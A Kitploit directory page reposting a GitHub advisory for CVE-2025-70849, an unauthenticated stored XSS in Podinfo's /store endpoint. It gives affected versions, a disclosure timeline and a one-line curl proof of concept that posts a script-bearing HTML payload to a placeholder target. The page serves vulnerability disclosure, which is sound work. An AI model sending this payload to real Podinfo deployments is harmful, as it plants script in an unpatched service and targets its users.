Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-70849-Podinfo — PoC and Advisory for CVE-2025-70849: Unauthenticated Stored XSS in Podinfo /store endpoint. | Kitploit
Tools/GitHubGitHub/kazisabu/cve-2025-70849-podinfo
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubkazisabu/cve-2025-70849-podinfo

CVE-2025-70849-Podinfo

PoC and Advisory for CVE-2025-70849: Unauthenticated Stored XSS in Podinfo /store endpoint.

View Repository
4 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-70849: Stored XSS in Podinfo

Summary

A security vulnerability (CWE-79) was identified in Podinfo, a web application for demonstrating Kubernetes microservices. The /store feature allows unauthenticated users to upload arbitrary HTML/JS content, leading to Stored XSS.

Vulnerability Details

  • CVE ID: CVE-2025-70849
  • Product: Podinfo
  • Affected Endpoint: /store
  • Vulnerability Type: Stored Cross-Site Scripting (XSS)
  • Affected Versions: <= 6.10.0

Proof of Concept (PoC)

  1. Send the malicious payload:
    root@kitploit:~
    curl -X POST https://<target>/store -H "Content-Type: application/text" -d '<html><script>alert("CVE-2025-70849")</script></html>'
  2. Access the returned hash: https:///store/

Timeline

  • Discovery: Sep 2025
  • Vendor Notified: 25 OCT 2025
  • Vendor Response: Acknowledged; stated no current timeline for fix.
  • Public Disclosure: February 2026

Disclaimer This research is for educational purposes only.

Researchers :

Kazi Sabbir | Shafayet Ahmed Alif

Severity: Medium 6.4

Download Tool